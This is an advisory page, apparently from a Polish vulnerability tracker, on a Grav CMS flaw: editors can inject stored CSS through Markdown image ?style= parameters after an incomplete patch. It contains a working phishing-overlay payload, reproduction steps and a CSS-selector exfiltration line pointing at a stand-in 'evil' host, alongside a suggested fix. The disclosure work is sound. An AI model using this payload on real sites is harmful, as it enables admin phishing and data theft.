Średnia

Grav: Stored CSS injection via Markdown image ?style=… reaches MediaObjectTrait::style() — incomplete patch of GHSA-r7fx-8g49-7hhr

  • Ujawniono: 18.06.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

The fix for GHSA-r7fx-8g49-7hhr / CVE-2026-42841 (Stored XSS via Markdown media attribute() action) is incomplete. The maintainer patched MediaObjectTrait::attribute() to deny dangerous attribute names (event handlers, style, xmlns, srcdoc, formaction) but the sibling MediaObjectTrait::style() method is reachable through the same Markdown excerpt-action pipeline and writes editor-controlled strings straight into the rendered <img style="…"> attribute with no sanitization.

Any user with admin.pages permission (e.g. an editor) can save Markdown like:

markdown
![logo](image.png?style=position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999)

which renders to a stored-CSS payload that any higher-privileged viewer (administrator, super-admin, reviewer) loads in their authenticated session. Same trust boundary, same victim, same attacker, same Markdown input vector as the patched GHSA-r7fx-8g49-7hhr issue — the fix simply patched the attribute() entry point and missed the style() sibling.

Affected versions

Vulnerable at HEAD across every currently-shipping branch (verified 2026-06-15):

Branch / tag MediaObjectTrait::style()
develop (f4c0f42) unpatched
2.0 (96e1d2d) unpatched
2.0.0-rc.8 (latest 2.0 RC tag) unpatched
1.7.52 (latest 1.7 stable) unpatched

Per SECURITY.md, this advisory targets the 2.0 line (publisher-level exploit, not eligible for 1.7 backport per the project's stated policy).

Trust boundary

Per the project's SECURITY.md:

A vulnerability is when an actor can escape the trust scope of their role: a publisher whose stored content compromises an admin session, an unauthenticated visitor who reaches a privileged sink, an account at any tier that gains capabilities it was not granted.

An editor authoring Markdown is operating within their role. A higher-privilege admin loading that editor's page in their authenticated session and getting attacker-controlled CSS painted into their browser is across the trust boundary — the same framing that was accepted for GHSA-r7fx-8g49-7hhr (MODERATE) and GHSA-c2q3-p4jr-c55f (MODERATE).

Details

Original GHSA-r7fx-8g49-7hhr fix (commit 5a12f9be8, 2026-04-23)

php
public function attribute($attribute = null, $value = '')
{
    if (empty($attribute) || !is_string($attribute)) {
        return $this;
    }
    if (!self::isSafeAttributeName($attribute)) {
        return $this;
    }
    $this->attributes[$attribute] = $value;
    return $this;
}

private static function isSafeAttributeName(string $name): bool
{
    if (!preg_match('/^[A-Za-z][A-Za-z0-9_:.\-]*$/', $name)) {
        return false;
    }
    $lower = strtolower($name);
    if (str_starts_with($lower, 'on')) {        // event handlers
        return false;
    }
    $denylist = ['style', 'xmlns', 'srcdoc', 'formaction'];
    return !in_array($lower, $denylist, true);
}

style is the second-named entry on the denylist — the maintainer explicitly recognised that editor-supplied style was dangerous when arriving via the attribute() action. The fix simply didn't reach the parallel sink.

The unpatched sibling: MediaObjectTrait::style() (line 519)

php
/**
 * Allows to add an inline style attribute from Markdown or Twig
 * Example: ![Example](myimg.png?style=float:left)
 */
public function style($style)
{
    $this->styleAttributes[] = rtrim($style, ';') . ';';
    return $this;
}

The function is unchanged before, during, and after the GHSA-r7fx-8g49-7hhr fix. The PHPDoc on the very next line names the Markdown invocation form (?style=…). The rtrim is for clean concatenation, not security.

$styleAttributes is concatenated and assigned to attributes['style'] in parsedownElement() (lines 242–251):

php
$style = '';
foreach ($this->styleAttributes as $key => $value) {
    if (is_numeric($key)) {        // editor-supplied entries are numeric-keyed
        $style .= $value;
    } else {
        $style .= $key . ': ' . $value . ';';
    }
}
if ($style) {
    $attributes['style'] = $style;
}

Parsedown then runs htmlspecialchars on the value (so quote-breakout into a new attribute is blocked), but arbitrary CSS as the value is enough.

Source → sink trace

The Markdown processor wires query-string keys to method calls on the Medium object (system/src/Grav/Common/Page/Markdown/Excerpts.php:262):

php
foreach ($actions as $action) {
    $matches = [];
    if (preg_match('/\[(.*)\]/', (string) $action['params'], $matches)) {
        $args = [explode(',', $matches[1])];
    } else {
        $args = explode(',', (string) $action['params']);
    }
    $medium = call_user_func_array([$medium, $action['method']], $args);
}

?style=position:fixed;top:0;left:0 becomes $medium->style('position:fixed;top:0;left:0').

Save-side XSS detector misses the payload

AdminController::savePage() runs Security::detectXssFromArray() on data[content] before persisting (classes/plugin/AdminController.php:1402). All five default patterns miss the Markdown form:

  • on_events: requires <…on*= in source.
  • invalid_protocols: requires javascript:/data:/etc. — the phishing-overlay payload uses none.
  • moz_binding: requires -moz-binding: literally.
  • html_inline_styles: requires <…style=…(url:|x:expression); Markdown source has no < and no url:.
  • dangerous_tags: requires <svg/<script/etc.

Save proceeds, the payload persists, the CSS is rendered to every viewer.

Impact

  • Phishing overlay — full-viewport position:fixed covering the admin UI with attacker-controlled background/content; admin clicks intended actions into the attacker's overlay.
  • UI redress / clickjacking — invisible overlays hijacking admin button clicks.
  • CSS-selector data exfiltration — input[value^="a"] { background: url(//evil/log?c=a) } against form fields the higher-privileged viewer interacts with.
  • Persistent admin-UI denial-of-service — position:fixed; background:white covers the page until the offending content is removed by hand on the server.

The stored payload reaches every user who views the editor's page — including administrators previewing pending changes.

Proof of concept

A deterministic end-to-end PoC against a real Grav install ships with the finding (repro.sh). Steps:

  1. Log in as an editor (admin.pages + admin.pages.update, no admin.super).
  2. Upload a benign image to a target page.
  3. Save the page with the Markdown payload ![alt](image?style=position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999).
  4. Visit the public page; observe the <img style="…"> carrying the unsanitised CSS.

Suggested fix

Apply the same denylist + identifier-shape gate to style() that isSafeAttributeName() enforces for attribute():

diff
 public function style($style)
 {
+    if (!is_string($style) || !self::isSafeStyleValue($style)) {
+        return $this;
+    }
     $this->styleAttributes[] = rtrim($style, ';') . ';';
     return $this;
 }

+/**
+ * Editor-controlled style values arrive via Markdown `?style=…` and reach
+ * the rendered `<img style="…">` attribute verbatim. Limit to a conservative
+ * set of CSS that themes legitimately use from content (sizing, float,
+ * margin, etc.) and reject anything that opens a phishing-overlay or
+ * data-exfil primitive. Matches the spirit of the attribute() denylist
+ * from GHSA-r7fx-8g49-7hhr — same trust boundary, sibling sink.
+ */
+private static function isSafeStyleValue(string $css): bool
+{
+    $css = strtolower($css);
+    // Deny: phishing-overlay positioning, CSS-selector exfil sinks
+    // (background/content url(...)), expression() (legacy IE),
+    // -moz-binding (legacy FF), behavior: url() (IE).
+    $deny = ['position:', '@import', 'url(', 'expression(',
+             '-moz-binding', 'behavior:', 'z-index:', 'fixed', 'absolute'];
+    foreach ($deny as $needle) {
+        if (str_contains($css, $needle)) {
+            return false;
+        }
+    }
+    return (bool) preg_match('/^[A-Za-z0-9 :;%.,\-#\/]*$/', $css);
+}

Alternatively, deprecate the Markdown ?style=… action entirely — themes can still set inline styles from PHP, but accepting attacker-controlled CSS from page content was always a footgun.

Defense in depth: extend Security::detectXss()'s html_inline_styles rule to also match Markdown-form ?style= query parameters in data[content] on save.

References

  • Original advisory: GHSA-r7fx-8g49-7hhr
  • Fix commit: 5a12f9be8 (system/src/Grav/Common/Media/Traits/MediaObjectTrait.php)
  • Unpatched code: system/src/Grav/Common/Media/Traits/MediaObjectTrait.php lines 519–524
  • Project security policy: SECURITY.md (trust-boundary severity model)

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer getgrav/grav < 2.0.0-rc.9 2.0.0-rc.9

Odnośniki

Ocena CVSS 4.8/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Słabość (CWE)
CWE-79
Platforma
Composer
Paczka
getgrav/grav
Ujawniono
18.06.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-pmf8-g7c8-7v54 - CC BY 4.0

Historia podatności: getgrav/grav

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (99) w archiwum
Wszystkich wpisów
99
Pierwsza → ostatnia
11.2019 09.2026
Bez poprawki
6
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 7
  • Wysoka 47
  • Średnia 41
  • Niska 4

Ujawnienia w latach

  1. 2019: 1
  2. 2020: 1
  3. 2021: 4
  4. 2022: 10
  5. 2023: 5
  6. 2024: 8
  7. 2025: 23
  8. 2026: 47
Istotność:
  1. Wysoka · 8.8 CVE-2026-72819 < 2.0.13 2.0.13
  2. Wysoka CVE-2026-53653 >= 2.0.0-beta.1, < 2.0.0-rc.8, < 1.7.53 2.0.0-rc.8, 1.7.53
  3. Grav: Stored CSS injection via Markdown image ?style=… reaches MediaObjectTrait::style() — incomplete patch of GHSA-r7fx-8g49-7hhr ten wpis
    Średnia · 4.8 CVE-2026-55890 < 2.0.0-rc.9 2.0.0-rc.9
  4. Wysoka · 8.9 CVE-2026-42611 < 2.0.0-beta.2 2.0.0-beta.2
  5. Wysoka · 8.5 CVE-2026-42612 < 2.0.0-beta.2 2.0.0-beta.2
  6. Krytyczna · 9.4 CVE-2026-42613 < 2.0.0-beta.2 2.0.0-beta.2
  7. Krytyczna · 9.1 CVE-2025-66844 <= 1.7.49.5 brak poprawki
  8. Wysoka CVE-2025-66298 < 1.8.0-beta.27 1.8.0-beta.27
  9. Wysoka CVE-2025-66294 < 1.8.0-beta.27 1.8.0-beta.27
  10. Wysoka · 8.5 CVE-2025-66300 < 1.8.0-beta.27 1.8.0-beta.27
  11. Wysoka · 8.8 CVE-2025-66299 < 1.8.0-beta.27 1.8.0-beta.27
  12. Wysoka · 8.5 CVE-2024-34082 < 1.7.46 1.7.46
  13. Wysoka · 8.8 CVE-2024-28119 < 1.7.45 1.7.45
  14. Wysoka · 8.8 CVE-2024-28118 < 1.7.45 1.7.45
Pokaż więcej (15) Widać 40 z 55

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.